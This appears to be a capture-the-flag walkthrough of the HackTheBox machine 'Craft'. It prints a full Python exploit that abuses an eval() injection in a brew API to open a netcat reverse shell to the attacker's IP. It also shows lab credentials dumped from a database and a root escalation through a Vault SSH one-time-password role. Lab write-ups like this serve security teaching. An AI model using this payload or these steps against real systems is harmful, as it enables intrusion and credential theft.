Craft - HackTheBox
As usual, let's start with a quick port scan:
$ nmap -A -T4 10.10.10.110
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-24 18:27 EDT
Nmap scan report for 10.10.10.110
Host is up (0.045s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.88 seconds
Let's visit the web site:
The two links in the upper right corner brings us to api.craft.htb
and
gogs.craft.htb
, so let's add them to /etc/hosts
and visit the first one:
Looks like we have instructions for an API.
The gogs subdomain sounds interesting, as gogs is a Git hosting server and it could countain something interesting. Let's visit it. We can immediately enumerate some users by visiting the users section:
And there's a repository that seems looks like it contains the code for the previously found API:
Reading the commit history, specifically in commit a2d28ed155
, we find out
that there was a password accidentally commited for the user dinesh
:
When something like this happens, the obvious thing to do is to change that password, but visiting the login endpoint and using the credentials actually works!
Let's explore more in depth the repository. Usually when there's an API that we
can interact with, I search in the code for calls to eval
or system
and
indeed there's one in the brew
endpoint. Here's the vulnerable piece of code:
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201
Reading the previously found API instructions, we can see that we can create a new brew by making a POST request with the following data:
{
"id": 0,
"brewer": "string",
"name": "string",
"style": "string",
"abv": "string"
}
And in the API code, whatever we send in the abv
field is then passed to the
eval
function. Looks like RCE to me!
After searching a Python reverse shell online, given that the create a new brew
we have to be authenticated, let's use the previously found code to send our
payload in the abv
field:
#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = {'X-Craft-API-Token': token, 'Content-Type': 'application/json'}
brew = {
"name": "test",
"brewer":"test",
"style": "test",
"abv":"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.81 1337 >/tmp/f')"
}
json_data = json.dumps(brew)
print(json_data)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
Let's start a netcat listener and run the exploit to get a shell:
$ nc -l 1337
/opt/app # whoami
root
At first it looks like we are root but looking around we find that we are inside an Alpine machine, probably a container:
/opt/app # cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.9.0
PRETTY_NAME="Alpine Linux v3.9"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
There's an interesting file in that was in the .gitignore
on the repo that now
we can read:
/opt/app # cat craft_api/settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
It contains the credentials for a database and there's another interesting file
ready to use, dbtest.py
:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
Modifying the query to SHOW TABLES
, we can see that there is a table called
user
, and using SELECT * FROM user
gives us some credentials:
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}
Trying to login into the Gogs service, only gilfoyle's credentials works.
He does have a private repository called craft-infra
:
Straight off, the .ssh
directory contains a key, let's try to use it:
$ chmod 600 id_rsa
$ ssh gilfoyle@10.10.10.110 -i id_rsa
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key 'id_rsa':
It is encrypted, but luckily the same password that we used to login in Gogs works! And we can read the user flag:
gilfoyle@craft:~$ wc -c user.txt
33 user.txt
Privilege escalation
The privilege escalation steps for this machine are pretty fast, but it took me a bit because I didn't know the software to use.
In the craft-intra
repository there's a file that points us towards the
solution, vault/secrets.sh
:
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0`
Basically there's a software named Vault that allows us to create one time passwords for ssh, and as it's configured on the machine, we can create passwords for root also, you can read more about it here.
With a simple command we can create a one time password:
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key Value
--- -----
lease_id ssh/creds/root_otp/428897bc-20d3-426b-93ab-7cbfe01597dd
lease_duration 768h
lease_renewable false
ip 127.0.0.1
key 7a51b704-46e4-4e93-5a08-4fabef7883bb
key_type otp
port 22
username root
And use 7a51b704-46e4-4e93-5a08-4fabef7883bb
to login as root:
gilfoyle@craft:~$ ssh root@127.0.0.1
root@craft:~# wc -c /root/root.txt
33 /root/root.txt
Thanks for reading!